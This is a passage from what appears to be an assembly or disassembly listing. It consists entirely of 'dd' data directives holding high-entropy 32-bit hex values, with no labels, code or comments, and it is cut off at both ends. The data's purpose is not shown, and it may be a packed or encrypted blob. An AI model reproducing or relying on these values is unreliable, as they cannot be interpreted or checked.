0F85799D8h, 0FA3CDDD4h, 11951098h dd 1570E680h, 0F549BD23h dd 0B471E416h, 43C0B788h, 0D29E5BBh, 58B6F665h, 5D13F1C8h dd 0C7CDDC1Fh, 7C396B09h, 0C35038h, 83CEB966h, 612DEA80h dd 0E980AFB5h, 88E2D9h, 2B52E0BEh, 0D04697C8h, 23CB8001h dd 74E9D18Bh, 8C0F1585h, 8027EC05h, 8BB137E3h, 8BDC9C85h dd 4000DA8Ah, 76D78007h, 0F6EF0CDBh, 0D03B32DFh, 22914DAh dd 21D4D0Ah, 35853FE9h, 849B50BFh, 2927DC4Bh, 204BEDECh dd 448470CCh, 0CB078121h, 1EF4B10Bh, 1B01A5F5h, 59D89FEh dd 0E469BB57h, 0EA899F37h, 8D019F51h, 60BEC9B5h, 0C7BCA77Dh dd 8F07E500h, 763D57FAh, 0B5291358h, 3F04C9A5h, 4512116Eh dd 0D3F6E95Bh, 0F1878F9Ah, 8B335012h, 0B4EB9FAh, 0CA9B1DC5h dd 1FD36DCAh, 0FE5062F5h, 0B794FCC9h, 0EFA21DDCh, 0DA3B4D48h dd 0F44F404Ch, 7990FC16h, 2D153920h, 3BB7C02Bh, 0DCA1AD09h dd 0EABAC440h, 1523073Fh, 1BFA109h, 1358B8B4h, 69049121h dd 0E8003BCh, 0B8F71D32h, 850313E2h, 0C0CFBE66h, 0C680CCB5h dd 3AF83E5h, 33AD616Ah, 863DD1C2h, 4E985D0h, 0A73AF475h dd 0CF021723h, 7F03923Bh, 1A006837h, 0AFBFE22Eh, 1B7D4D45h dd 880DDF0Dh, 0BCF12924h, 1CF45B66h, 0BC89D2C8h, 1271C439h dd 0D4199545h, 0B85CF94Ch, 0E70C008Fh, 9952ED7h, 0EF098070h dd 0E48D0F02h, 55852DADh, 49200644h, 79507713h, 3181BC2h dd 4AFF08C1h, 5819B2C8h, 7A70AD53h, 3A6B05B9h, 0BC7E4175h dd 4A5A8091h, 0F1DA848h, 0D9FC7465h, 587C7E20h, 9113E620h dd 0EC01E8C8h, 5DAF9EF3h, 4169DB70h, 0DE087E31h, 7ED74087h dd 0E38C990h, 0C99E5BB8h, 6336BECCh, 68BD2925h, 0B9800F76h dd 0A8642F55h, 6E9C2001h, 0C38A8664h, 15CAC4h, 7324397Ch dd 0D6AE591Ah, 22126E4Ch, 258D713Dh, 92724D92h, 0FFFC7554h dd 0BC68E14Dh, 0A3A404A8h, 0C9BD0129h, 0F99401B2h, 0B24F0C15h dd 70F0BB5Eh, 315A52EEh, 0B12922C2h, 39020131h, 805BB51Ah dd 1E27839Dh, 622C0C9Ch, 6314C110h, 4038B33h, 0B2E1D0D1h dd 6126E7Bh, 58196715h, 2518BFB0h, 818022FDh, 8E2001EFh dd 2B60532Ah, 6A0AC5BDh, 0BBE8C089h, 23C7682h, 8061F91Bh dd 0E48604E1h, 0A324319h, 0F6C55EC9h, 146D2F57h, 0B20379C0h dd 0DB0A582Eh, 4D191111h, 0D858336h, 6FFBE42Ch, 13820045h dd 0AB1EDC57h, 615016AEh, 0B1390707h, 26807E25h, 5B534C88h dd 0F6816001h, 1BA18344h, 32D9086Ah, 85336101h, 0EAF2765h dd 190059B7h, 1861DBE9h, 903E674h, 759D339Ah, 6DB9C558h dd 0A2048700h, 82BC40h, 0AB3F1794h, 8A0F5079h, 0EAA6CF9Ch dd 661AA42Eh, 0DDAD400Ch, 81E59509h, 716EB300h, 0A24A5173h dd 2FBEDAACh, 0A3C8E85Fh, 1F6B03FFh, 0FD48357h, 0CFC7BE07h dd 20D9D962h, 252932F8h, 0D41220E8h, 586FE714h, 61C08616h dd 233B364h, 0FA566300h, 9D3CCA78h, 0F0C61FE2h, 9579C177h dd 6D585F3Ah, 4BB86Eh, 69C4B1FEh, 600BB2CEh, 0A0A2FA4Eh dd 8AE43800h, 0C8AB1049h, 0F9AE7201h, 2EE1BD03h, 0BB0FFACh dd 0EE730FADh, 0C8977D2h, 26407F7Ch, 1F713D08h, 0C08FB3E0h dd 5CFC498Eh, 3716BC43h, 4802E32Bh, 6860A564h, 8018AD8Ah dd 0EDAA5CE9h, 0AA70005Bh, 12667E34h, 0D3073DBh, 2E665C99h dd 2A01626Fh, 0D371CE26h, 0C2C7C9FAh, 604FDB44h, 0BF0011A3h dd 8DC2E6C3h, 50F50F2h, 81BE4094h, 2E5DB966h, 209D9B20h dd 8B190825h, 0F59960B5h, 3151A68Fh, 8C18ECB0h, 0C86BF705h dd 31C535B2h, 1F8015DBh, 22A18A2Ch, 0B46EAC02h, 2F0AE887h dd 0C85ADB20h, 0D70249EBh, 0F443050h, 9C034485h, 0C0BB476Bh dd 45665A31h, 1170B200h, 998D13E0h, 169B1C10h, 5264665Bh dd 18C42EC5h, 906C2560h, 817E8700h, 9C354CCFh, 4689043Eh dd 0C8820F04h, 5B24510Eh, 0BB07E496h, 31611771h, 0C062B585h dd 2F0F9175h, 972C5837h, 0AFB5BD12h, 40199630h, 0C7096806h dd 981E62C3h, 65B140h, 0C342690h, 6D67BA60h, 53C7DE5Fh dd 5F618008h, 38243481h, 1E7DC013h, 20E011E6h, 57038A92h dd 0F18ECECDh, 1AA275Dh, 0BF92A3EAh, 26DE4AF6h, 0F872BA1h dd 41A50DEh, 5E470E56h, 0BB4DFDC0h, 11873A49h, 729A789h dd 0FBA10D0Fh, 355B585Ah, 0DE9B3BDAh, 0A7BFE580h, 1802C70Bh dd 0D61F80EAh, 24297929h, 87B55269h, 0E3DD1480h, 1330C8C9h dd 0E2A4BFECh, 36DE0015h, 0AC908B13h, 0F5420034h, 1D48352Ah dd 615DE9C5h, 2F54BCB8h, 7DC09728h, 0BB133EA9h, 0BE05E789h dd 89CD85C7h, 51852028h, 979F510h, 37FD64E7h, 30DE13A1h dd 0E1BE65B5h, 7E45E909h, 5A00F6A0h, 3E991C9h, 12DED5A2h dd 4DD8A2Fh, 0C23F09AFh, 2C10C0Ch, 0C101CC44h, 0A8F50C98h dd 4C7EC90Eh, 0A1580325h, 36EBE7F3h, 64C036BBh, 0C6C23D87h dd 6829501Bh, 19182128h, 0A1011358h, 88201B57h, 889BC04Eh dd 0C9FC059Fh, 4D1CC193h, 0E17A3B06h, 160E1326h, 0D97B04AFh dd 79ADA703h, 0DA7DAD98h, 0F4AD94h, 74FEC470h, 0C52E477Fh dd 0D93109Dh, 2449E2CEh, 591C0A3Ch, 6169A79Fh, 820413B9h dd 892F6493h, 82474ABDh, 0D60A41B2h, 0FF7FF436h, 5912FD70h dd 0D08C9934h, 0F99D3C0Bh, 589630C1h, 1074F68Ah, 0D0C72728h dd 0E604D21Dh, 0B420E799h, 0B77B7D1h, 0E8BCAFA5h, 40E96090h dd 0D6127D00h, 0AB3CF8FAh, 0CF190144h, 99EDC475h, 46823FB0h dd 965F021Fh, 508A867Fh, 0EEF87808h, 0BA1299Dh, 8E0F42A1h dd 44958572h, 0F22F006Ah, 0F355904Ah, 210BBB4Bh, 415C3A9Fh dd 8C28FD7Eh, 8A71DB4Eh, 1C9A164h, 0A489CB30h, 5E4DC360h dd 25B67A30h, 0BCE500Eh, 0C48689DFh, 0EB139464h, 6CDD1FAFh dd 0D5A84379h, 0BD588F00h, 0A58BA6D3h, 0BF98077Bh, 61A1A012h dd 3A04C283h, 1403416Eh, 0D477406h, 10BBB19Dh, 20508985h dd 35DB8016h, 0BBC19304h, 0A73EB624h, 491C4A21h, 41D38A40h dd 0B895A19Dh, 99257816h, 0E421E722h, 714B6018h, 0EE1B2526h dd 2026DAE4h, 79004743h, 0C6084992h, 0CE0602FEh, 0D07C3611h dd 9512EA4Eh, 1CA6318Dh, 613114F2h, 462898F3h, 505325FEh dd 3600CB71h, 0E23D2B99h, 7AB63E26h, 2A7489AEh, 970F4295h dd 0E202856Eh, 0CD927595h, 38DA4D41h, 6F1528A0h, 9A137D20h dd 1F1442A0h, 102119D1h, 50F88525h, 1FBB6FC0h, 145C2E3Dh dd 0A3642563h, 0AFB65500h, 38BEB907h, 3AED2EF7h, 0E0DD3570h dd 0AB52A41Ah, 0D1884A6Dh, 87CB00C1h, 582D2F73h, 0FF0E3F4Bh dd 0D0E69A09h, 7F099D71h, 68707F53h, 2AAB017Ah, 8B73342Bh dd 5BB04AF9h, 9A1FC86Ah, 13EF4ED6h, 0A7128886h, 280F1740h dd 20A7DFBFh, 2400B11h, 0F6CDB464h, 0D03605BFh, 52EDD90Bh dd 1585103Dh, 0C6F51622h, 3F810F9Eh, 38F35E6Fh, 0A1F7815Eh dd 8AF0AB05h, 4AEE6062h, 0E923F23Eh, 47C17D17h, 545C804h dd 0E798221Ch, 0E9809D78h, 0FFF23844h, 3E6ECAh, 14CF82Ah dd 9E82B4Eh, 0C18BE27Eh, 947220F3h, 0AC059F30h, 2272BF19h dd 400A5650h, 1A42630Eh, 357FB200h, 0C154BD0Bh, 3B2D00F8h dd 922E4A38h, 8D5E3158h, 0E35F11A4h, 0C4291h, 1AB8B9E9h dd 1257BF0h, 6C107479h, 6FC2B3CDh, 6EBA3A94h, 0D86D00C8h dd 894C92BAh, 0CBF5698Dh, 4B12203h, 5FFCCB0Bh, 786CFB6Ah dd 5202496Ch, 721CA512h, 0C6CDE209h, 0DA6D95F8h, 0CA0BC1CFh dd 0FE23D24Dh, 0D883D00h, 15C9267Fh, 6535F901h, 0D11384DCh dd 3295CD40h, 26097161h dd 41554D9Dh, 385005C0h, 3856802Ah, 5BBA04DFh, 29EBF166h dd 5FF65BADh, 1A27DF3h, 4148A88Bh, 0A6966D95h, 0D415E4Bh dd 2F0E35DDh, 0FDBD2475h, 1116DEA8h, 0CAC4F0E6h, 29F7B552h dd 8EBADA4Bh, 83EF4116h, 0C87A2A79h, 70F298A2h, 9D807802h dd 71C9E7DEh, 0A028005Bh, 705737D8h, 54394C02h, 843C51ADh dd 358895A8h, 8BD113FFh, 8D26A2DAh, 6E7F49BEh, 0B6DA1D04h dd 51C5D49h, 0B8228D66h, 70015B02h, 7502A545h, 2CCB3822h dd 61506196h, 919005E2h, 61DD8A6Ah, 447267h, 8DD969C9h dd 9D765B77h, 0D8633C29h, 6F90062Bh, 1551458h, 6629AB0Fh dd 0DDF8FCBFh, 2C8C6E82h, 493EB9F9h, 0B941C7CDh, 383ACEE9h dd 32429F51h, 0E8AC7B4Dh, 0B5311C09h, 0F67EF4B9h, 0B9487528h dd 2AAA300h, 2BA06374h, 0BFE95D9Dh, 1A41DD4Bh, 76C1C0B4h dd 9DBDD2D4h, 0CF318210h, 8A321D00h, 8554FF7h, 0B6FFE82h dd 5B6DE461h, 87BDE700h, 0CBEC4AF6h, 57A65E05h, 0CC4E9001h dd 0E89BB450h, 0EB028C19h, 772531C0h, 40005603h, 29D72894h dd 0A52530E4h, 4E8FB72h, 0E8CE6615h, 3CB9D67Dh, 0E2092BE8h dd 1BC0B794h, 0B949F0F3h, 99E60ED8h, 7FDF25BBh, 43CCF0ADh dd 915BD10h, 0F304E058h, 0E943B2D3h, 7EF992C0h, 9E1273B8h dd 8C8860C6h, 0A32700CEh, 574D4182h, 4C9F07A6h, 81BD3D7Ah dd 2B9D6140h, 4F156FEAh, 9646F1E0h, 919529AEh, 0C17B6A51h dd 71CB97Fh, 53AAB574h, 258104F1h, 4101426h, 2B562F92h dd 1F84FDE9h, 0E6BF0001h, 9D37DDB0h, 0C5BDFB01h, 4A0F0805h dd 609D458Dh, 85970353h, 0E10112A5h, 0BB6671E4h, 483B8676h dd 5DACF209h, 74B1F91Ah, 8FAF3F0Ah, 6D400E71h, 0C5615Eh dd 7144C325h, 80A7FEC9h, 14CF320Ah, 0E9C2ADBAh, 0B00C0B04h dd 155E11ACh, 0F223C7C8h, 0D2469FE5h, 2A40F5BCh, 2C8923D2h dd 10D03310h, 2B5B091Ah, 819D4C8h, 0BF002A99h, 1EC1404Ch dd 0D18B3061h, 2B91851Eh, 0A0E18180h, 134952A9h, 337BE961h dd 8592DE8Ah, 182CCF4h, 0E4319D95h, 6076B04h, 0AA017109h dd 3B5F7C30h, 8C1E3648h, 0E80B53E9h, 1780844h, 6A767FDDh dd 2A1FBA2Fh, 36EBB0C0h, 8529095Fh, 19D41D25h, 0B19B7E0h dd 3171279Dh, 2345426Ch, 90D34687h, 2A5E570h, 870FFE1Ch dd 0D6697A5Eh, 8237A8E0h, 0C144746Dh, 3960C920h, 0FD65BD40h dd 0E919173Ah, 0A4A7C0AEh, 47F70C0h, 6AB97D63h, 0D37ABB08h dd 0C84A9317h, 6000237Ch, 65E11C62h, 0F81EBC0h, 2C7D02BDh dd 0F14D580h, 0C197DABFh, 1E36FCE2h, 0EAF92BF3h, 32DB7AFCh dd 4BDB2B80h, 0C7748450h, 78630C17h, 0C315360Ah, 0B897F7A4h dd 1CFC55ECh, 7A9CFC8Ch, 0E0E90EEAh, 60C5D2BBh, 0F9FD12F9h dd 80610393h, 0FC2B55E3h, 3C5FA88Ch, 2AF635Eh, 94173D8h dd 0DA1076EEh, 19C49065h, 0BECB9260h, 99DD5A01h, 2A499531h dd 80FD9E6Bh, 6FFF35BBh, 0D6EA139Eh, 915104C2h, 880D0521h dd 0ACB4B5E7h, 9AFF810Ch, 883A547Ch, 4372B078h, 0C2E1C305h dd 0B4A3A0EEh, 35133D48h, 48F4A705h, 1AB1103Ah, 0FB45F827h dd 0B7EDE269h, 14B8755h, 0DAF3E0D3h, 2D4EB657h, 5438E38Ah dd 0A0FCE75Bh, 12124506h, 3579F64Eh, 0F168045Ah, 0D3BBE907h dd 0EFB8D9A9h, 0FFAF9202h, 74DA8BE1h, 4C850B0h, 19F43381h dd 921C9D2Fh, 7927D069h, 358D446Ch, 4CA851FDh, 2D60D400h dd 0DA614D73h, 5D9D1003h, 67562C24h, 5F131790h, 0B882A960h dd 0A4F4031Ch, 0B42FC4FFh, 3C93F2CCh, 1B7C803Ch, 8CB136FCh dd 53A50033h, 212DEE99h, 99D9AD1h, 0C0F36D9Fh, 0B1F9096Ch dd 0ADC84D67h, 0BDE22578h, 8FDF202h, 8164BD74h, 0EEA1604Eh dd 84B34A03h, 61E2D430h, 0A6D238B9h, 33B1A038h, 5D4FAB8h dd 558F0858h, 17F2C8h, 94A8F99Eh, 98FC25h, 0A66BA53Bh dd 70F51053h, 0A6779A24h, 0D15FD809h, 4389AE9Dh, 6F8043C0h dd 42000349h, 0FC79DD7Ah, 0B3DEBECh, 0BE217022h, 40085004h dd 0CAEDC7C6h, 0AFB0121Fh, 0F8F68851h, 9B9ABC00h, 9E2DED10h dd 3D579D8h, 6F3EC741h, 5F8A5B51h, 81183DFDh, 7C71E170h dd 0DD33FCF5h, 712BB825h, 4ACE20EFh, 4BE5A9ADh, 10F285F6h dd 0B1C300F5h, 9DFC533Ah, 0B322CF14h, 84117285h, 448C0F2Fh dd 0E1A97CDAh, 557B4BFCh, 0F8ED3A73h, 0DCDE54DEh, 0A20ADC0Ah dd 0F812E816h, 800933E3h, 6BD18BCBh, 24E9FC82h, 0C4BD5D02h dd 0B5129C39h, 6A4EDE82h, 95187F17h, 6ABD8D31h, 0D1928451h dd 742FDDA1h, 0A8AEB979h, 0D323093Ch, 77D1358Ch, 13C9B7A5h dd 4F75A3E3h, 300C106Eh, 85268D8Fh, 0EAA5C09Ch, 4DBD5799h dd 0D5CC605h, 0AA9234AEh, 3B2BC708h, 0D780137Bh, 0EC1E6497h dd 1C9B804Ch, 0E83B41A8h, 7AFA0948h, 40D28225h, 8F8A8373h dd 504C2351h, 8CB48960h, 0E6CBAE4h, 0EB8A613Ah, 0A614C577h dd 0F409E0EEh, 1235B833h, 0B1A9BCFDh, 6B312F42h, 68E4EB80h dd 956F022Ch, 81D88BCAh, 94D3FF40h, 0D0358926h, 0D0DA0FDEh dd 0A7D3252Ch, 12B65A25h, 0A3867FA0h, 2C015374h, 0EC1B4CEAh dd 0D71013E8h, 4D0077EFh, 0ADE6A43Dh, 724BA5DBh, 0A861132Ah dd 2558A86Ch, 257E4460h, 0E35671F3h, 6A9A8580h, 9C81CBBh dd 7F013F0Dh, 2941BB50h, 391B52Ah, 0E7A7D39Dh, 27A7FCAh dd 0F090DA0Bh, 0EB008D05h, 0E4A752DCh, 256D5Bh, 0A661A1BBh dd 0D6B83779h, 277DBF1Fh, 4E9027BDh, 66B5B541h, 0E4604230h dd 0B59D3101h, 0DD23614Bh, 2F832551h, 4B500C2Ch, 34EC8A5Fh dd 0EFED1F58h, 98241BB8h, 311D9010h, 698527A2h, 2A44D9C9h dd 0DDB02FA7h, 2E093A5Ah, 74E13742h, 2A150861h, 7429E725h dd 12CCB595h, 88FBF22Dh, 1A467EFFh, 16D99000h, 8E5E70F9h dd 0D0620391h, 0F4FCDE03h, 6A3DA625h, 0F492F620h, 3B269100h dd 0CC9A6FBBh, 811401F5h, 0EEECA6D7h, 2A753A6Bh, 0E8808BDAh dd 0EFED6ABCh, 643D8D17h, 414E78BCh, 8E3214C5h, 89672F49h dd 27E8F974h, 89E929CFh, 965EAED8h, 9981830Bh, 477FB82Dh dd 427EBBCBh, 94F20BF5h, 8B4504DFh, 13BB96DAh, 0A6535276h dd 3019B2BDh, 0E07C6C55h, 0F9C7282Fh, 94F92F8Fh, 0B515EE25h dd 0EF002435h, 30EAA87Fh, 9D1C1CDEh, 8D098202h, 0C5742701h dd 0C5DB4DE9h, 5078085h, 3A9D8F83h, 0D483DC40h, 27823839h dd 963F462Bh, 99F66986h, 7CD08h, 0E1D8A0BBh, 0B9D616Eh dd 9FA461Dh, 2531BD01h, 0F72602D1h, 92111260h, 70DC0191h dd 0B8A5B69Bh, 0F343AF6h, 19248885h, 0ADD7F1B8h, 627B8F7h dd 28CA9C5Ch, 817A423Dh, 0D366D009h, 0D0243264h, 6D9CBC12h dd 0A2D06AF0h, 4807B796h, 1C34FD50h, 4160AA61h, 1DD3BE22h dd 806BC139h, 0D4D8679Eh, 0E0093A0Ch, 115BABE2h, 0C769966Bh dd 0B1BB37B8h, 99BD2902h, 508A7622h, 0C28B0E88h, 0A613D789h dd 0A5A59DB3h, 0E0712E1Ch, 2D0F2491h, 0DB7CD33Bh, 0E60F5A80h dd 1F381604h, 7EFF1DEh, 0C1DD292Bh, 2096D9B7h, 13B8F02Eh dd 33F01F90h, 2379BD12h, 0A039F639h, 432E42A8h, 4908550Ah dd 48712505h, 0ED25E3ACh, 6214640Fh, 919A7718h, 0BC45BB04h dd 0BEB64ADBh, 1AACF949h, 9794018Ch, 4AC1364Ch, 4B5A230Dh dd 0CEE21BD5h, 4341A000h, 0ADAAB493h, 4DD4D704h, 29E8902Ch dd 5BA22EA2h, 0A7424CDh, 0CEB852E5h, 80BBED97h, 0CB8056B9h dd 5B9116D4h, 8079BDC6h, 79785F1Ah, 0CBAB4BC1h, 0EDDB4FF3h dd 0E4E80182h, 5F06EE55h dd 841F6DFh, 507959Dh, 0BAF334E9h, 0D94C757Ah, 729BAC00h dd 9749AB6Fh, 851A31E6h, 0E86130E5h, 1E6380AFh, 8084824Ch dd 42768758h, 0BA03222Fh, 9BC6CF94h, 0D98AC0BCh, 0DBC14F8Bh dd 0AD3480B3h, 0F0F4E831h, 0F92C27DEh, 19F3C46h, 90310848h dd 53B70A3Bh, 0D5EE60C8h, 980B88F2h, 6D905BF7h, 0C42C0FBh dd 45021DC8h, 4DBD3127h, 0FF1120Ah, 0FBB59500h, 69533B3Eh dd 32021C57h, 0B40C1939h, 61432D3Dh, 6E807759h, 0CD0F0765h dd 0E07E09F6h, 2DC006C6h, 8804612Bh, 3B80E621h, 10BDCBCh dd 4BE0AD95h, 0DC4F8A50h, 0F76FC516h, 9750D407h, 0F0EB7278h dd 9940497Ch, 1EFDD68h, 2FC9D0BDh, 396A5423h, 5C3DBCE1h dd 1911CA29h, 61A94B5Dh, 0E802B1B8h, 36BF6674h, 5E026270h dd 4036A1Dh, 0BD1DEEC3h, 0DF6BD2FDh, 0BEC93100h, 22EF5C48h dd 7E6CFA25h, 0ADD192D4h, 97B0B8F9h, 6F45F794h, 2637097Bh dd 0CDADD779h, 405B40A7h, 905B02B3h, 8D0FA9C1h, 0F979F733h dd 94B82169h, 0E277CE00h, 79CACFE8h, 0AD8D1789h, 7815D722h dd 29C022ACh, 802A0D85h, 9C9750E9h, 434721A8h, 1F6EB525h dd 0A9804B1Dh, 0D8E18264h, 4F007FACh, 6957B6CDh, 29145CFh dd 0C799DA2Dh, 37D7F506h, 885D022Bh, 89FDCB2Dh, 8EB2713Dh dd 0A0A1DF81h, 42903446h, 54290CBAh, 888A6FD5h, 0BB500052h dd 4DD7CBAh, 23B6905Bh, 680680E0h, 6D18A000h, 28A29CB4h dd 0ED9D100Bh, 0D88A122Bh, 800980F6h, 3F78D2CFh, 38A3F97h dd 0D2059E50h, 605126F0h, 0D60B8D90h, 229D958Bh, 5E5B61A3h dd 0F4B5EB33h, 0A9831F00h, 2E397B64h, 0AC9BFF6Ah, 8522D26h dd 0F5782393h, 899124DAh, 621910C7h, 5D07850Ch, 2A204694h dd 93BB0201h, 0B06D71DBh, 8C825F7Ch, 7C70E630h, 112103Ah dd 0B52971E4h, 0B32B029Dh, 490632BEh, 0F589DD89h, 889F4071h dd 0C9F84BA2h, 80C86C2Dh, 0B3799AEAh, 0F92D27B6h, 8B85D17Bh dd 0AD815BFAh, 0C82E80B7h, 684FE55h, 71E0D781h, 8A706E2Bh dd 0C7D18B88h, 42E7F71Eh, 62D9B4E9h, 1F1F4508h, 7442850h dd 0AB1C4CE5h, 0F0EAE7E4h, 0D27D8018h, 0F4976C0Bh, 0DE9E895Fh dd 0F056B0DAh, 144B2084h, 45C76DB4h, 2FD94C44h, 9B0A2700h dd 39D93DE0h, 6926009Fh, 657C8148h, 684B9EBDh, 111148D2h dd 7E98155Fh, 218D1001h, 34F35B04h, 104FC24Ah, 3EC4395Eh dd 7BC0F9BDh, 98F35457h, 95187801h, 7F960953h, 28371ACCh dd 4A29A583h, 0F3A3C8FEh, 4074A900h, 0E4351E5Eh, 82955289h dd 80C54158h, 2087EE8Ch, 5547BD9h, 0BE60D2FFh, 2E00F56Fh dd 5CA1FC9Ch, 0AB77976h, 6A966347h, 0BCBC50FDh, 9582EF1Ch dd 62774E41h, 934C10D9h, 0BBF000DAh, 0C8B550C2h, 4702CCACh dd 0B65BB715h, 0B2BA5D65h, 433575h, 848EBF0Dh, 0F3940B88h dd 8FEB905h, 317ABBh, 9D4A319Fh, 9CACDF10h, 0B2336725h dd 46DA241Dh, 970AE520h, 0F5FBAF0Bh, 0D4FEE873h, 0AD3EA9Ah dd 0FC3AB3ACh, 1307DEEEh, 6BA6B369h, 72E89B42h, 82D3006Eh dd 5C2EEC91h, 0CE0028D5h, 0FF4C8E83h, 975FF5FCh, 2147F36Fh dd 8BFCAFB5h, 1DC0D4D4h, 5829BEB8h, 0DD00DFF8h, 9AC5744Ch dd 1668C42Ah, 4A2B65Eh, 122BEDFAh, 0A75A10ECh, 1FEDA0B1h dd 7EE7017Dh, 0F380F867h, 0E33D2F0Ah, 0D42DE403h, 0E9399BDh dd 0A124F1CCh, 7AE8F53Dh, 0F3E807Ah, 4C95E302h, 8A5E64C4h dd 0C2844D6Bh, 38DC6BF3h, 0A1EC2712h, 1A09B7BCh, 0D2359509h dd 20BB12B6h, 8D8BF27Ch, 6F6B6A72h, 37CC0234h, 0D06BFA3Bh dd 73CF9741h, 0A0BDCF44h, 0A8A8EDD2h, 0DB5F0033h, 10AB71BBh dd 0E298FF3Dh, 2B759512h, 35E159ECh, 0C95A5B04h, 44BF7921h dd 0F5D85727h, 0CEA15F95h, 0D8861FBDh, 0F4727E65h, 0F33FAF00h dd 6881BC95h, 78469B60h, 0BF16D5ADh, 0C312F6D7h, 1483287h dd 5B1ECEBBh, 0B0122F32h, 5E80929Bh, 3CED79CCh, 0CFAFCE09h dd 71AE782Bh, 23F85C60h, 6107A45Fh, 917720F5h, 3BA8F197h dd 0E5C95FDAh, 2E30C1E9h, 1FB1E3A7h, 0AC6F7085h, 37E6C45Ah dd 23A5B538h, 0E3A67FDBh, 0D4638860h, 993E0969h, 0B1794CA3h dd 0EBC38081h, 7685090h, 0DA959980h, 9300BF31h, 0CAB4F3B0h dd 5F704D50h, 3396E90h, 5D639F9Ch, 41F2E8D7h, 0F561B52h dd 5F832589h, 0FB88828Dh, 6CB42559h, 3BAD0983h, 0E44E31ADh dd 0DC0968AAh, 58B1E3BFh, 442302D6h, 0DA8B4E3Bh, 29612C56h dd 523B758Dh, 0A8E9ADFCh, 0DB008C19h, 677F5403h, 27BD01A3h dd 544C3179h, 0DCDDEF04h, 0DABE1B1Ch, 0F0E90BEFh, 0F4BBDC01h dd 88EF6200h, 4703BC4Fh, 0D7504892h, 5FF31132h, 0E6F705Eh dd 352B79Dh, 6E5E56E3h, 99BB0527h, 2CEC6706h, 0BD3D1422h dd 0DAA7CB01h, 8DF24Ah, 0CD1E267Ah, 0EAB2130Fh, 0C61C5021h dd 4BF59A51h, 0B2EFA65Bh, 2FA93114h, 5AEB4804h, 9666A064h dd 0BD03600Dh, 4A2E6599h, 27708C43h, 0D540BD5Ch, 1A2A10Ah dd 3D2E8F7Bh, 6CA99707h, 965FC4F8h, 0ACA85485h, 54D3EBA0h dd 3F00B0FCh, 9A43D28Ah, 286C5B8h, 60506449h, 1AF498B3h dd 795144AFh, 24E40793h, 105ABE7Ch, 9966158h, 32DD8D12h dd 0F9B4C4E8h, 3A7A897h, 59A86408h, 0B39A090Ch, 2B558982h dd 0E10A6803h, 4F40129Fh, 0BD616056h, 0B75E6A09h, 800BF51Fh dd 8FE412h, 0BC7BF963h, 6C09598Fh, 5C823400h, 0DE07FE29h dd 27E2B0A9h, 1DD8E6EAh, 0F1A56421h, 26511816h, 455803Dh dd 0FA10870Fh, 0BE96F170h, 7DA1017Fh, 9D210149h, 3A90CD35h dd 0A5001C6Eh, 0F129392Bh, 585FD0E6h, 3CE84A88h, 101E6CACh dd 39F6800Bh, 2D1742CEh, 3D36F3h, 0BB61FA8Bh, 4B3C0B53h dd 145CB0Ah, 3D38CB81h, 282E2708h, 7CBC2546h, 9678ED47h dd 57E735h, 6D98EE8Ah, 5B3DCD34h, 10438224h, 0BD335F00h dd 0CE284BC5h, 6A3BF916h, 83940089h, 6822C58Ch, 1C94973Ch dd 19044524h, 8D77AFE0h, 0E6CE0055h, 648B8A7h, 0BF146660h dd 0B3C8BD4Bh, 8C434E24h, 5158575Fh, 0B5290F5Fh, 6EA6B245h dd 7A301BF2h, 9E82022Eh, 0C4C75C7h, 0E103A666h, 7A87CC6Ch dd 251DD820h, 88504AEBh, 9D00DF10h, 5EBF86D3h, 4790643h dd 5B6DC0D7h, 0CB1DBC5Fh, 5451F9h, 2FEAA87h, 0F774C780h dd 33C57F00h, 0BA60CB0Ch, 8CE64BCAh, 8509BB6Bh, 79433DE5h dd 2F9BA008h, 0B2106B59h, 1B07FA4Bh, 9EDEA242h, 963C5571h dd 204EDE6Ch, 0C934091Eh, 0C392FB1Fh, 0FC8529C9h, 8609789h dd 9A488012h, 54B9BD12h, 9B3612Bh, 0F6E022B3h, 1A97070Eh dd 851741F3h, 0F79D3752h, 275F35A5h, 0B671B96Bh, 713AB389h dd 0F1CDEB99h, 25452BC0h, 0A4170943h, 0AF7085F0h, 0C05CCD97h dd 784C015Ah, 8FA9DC00h, 0EB810CECh, 9C9F46Ah, 0DEB70F17h dd 0FC4AD070h, 9A4BD0F7h, 0EB98079h, 5C8D434h, 3C782CD5h dd 0BDEC22Bh, 0A4136025h, 0C14CCEF9h, 0E1614412h, 97B2AF1h dd 0C0BFE800h, 9CDB589h, 0B117E6B9h, 0F0692FF5h, 6904A7BCh dd 0DDA6CD3Fh, 0CDEDD584h, 4200BDF8h, 4C6E54E4h, 4AAFBA5Fh dd 2278A8BBh, 91BD2D05h, 0DFFC2AE2h, 1C46D6h, 6A36571Dh dd 0FC12136Fh, 0D862F771h, 0BCD98B12h, 0B26F93ABh, 8D2B3C39h dd 35C0318Bh, 0E9D2E07h, 8472DB6Bh, 45BC1DEFh, 0EA8433A3h dd 0A693DD9Eh, 0EF660195h, 96D8BF0Fh, 0D7E2E53Bh, 1981C613h dd 1523CF7Ah, 2BF15801h, 538499BDh, 0A8B99D29h, 3A8A4B19h dd 51929FA2h, 944082FCh dd 4C06F41h, 7B0BCB95h, 0D211BCF6h, 73BC01ADh, 0FB8B0C1Fh dd 49BD0984h, 38BBC9A0h, 7254517h, 74132CE5h, 12ECF5F9h dd 58568825h, 5B3140E0h, 21750EC4h, 0FDD251BDh, 163CB843h dd 30D0C1FCh, 841F3E8Ah, 0A39A3400h, 0C2D7DB87h, 23CE0BD4h dd 8DAA6DBDh, 0B48312A2h, 614B6028h, 72B97DD4h, 3E8C15ECh dd 0F381711Bh, 60A85B8h, 625EC2E9h, 19228120h, 9BC15F2Bh dd 0AFCF805Fh, 5892D06h, 49DF13CAh, 559A8193h, 669D2E0Ch dd 70346E6Bh, 0B368BF05h, 1D038E0Fh, 0B92ED780h, 883CD99Dh dd 3564902Dh, 7FA85A0Fh, 0E41D0C6Bh, 0AE390016h, 9832CB76h dd 0BF0250A1h, 11708943h, 700C4A90h, 0F76FB7A3h, 4FF84E43h dd 0AC7C73Ah, 0D75F1F7Eh, 0E17E1261h, 0DCF03E36h, 5DB5D621h dd 0CF712F4Dh, 2788200h, 1291C2Ah, 1F23A8BEh, 2FB8C213h dd 0D2A6C902h, 6045CF5Bh, 2FFFF5D9h, 0D8D6B927h, 0A539FCCh dd 0F99CD0h, 263002CEh, 0FED542D4h, 0D1DFA6C2h, 413A5D0Ch dd 1C8A3555h, 65058074h, 6AEF80ACh, 1429897h, 1F55259Dh dd 2C3CFE79h, 0C5A5DA05h, 2F861C0Bh, 0D2D016FBh, 36262562h dd 1201158h, 61F53111h, 8706ED76h, 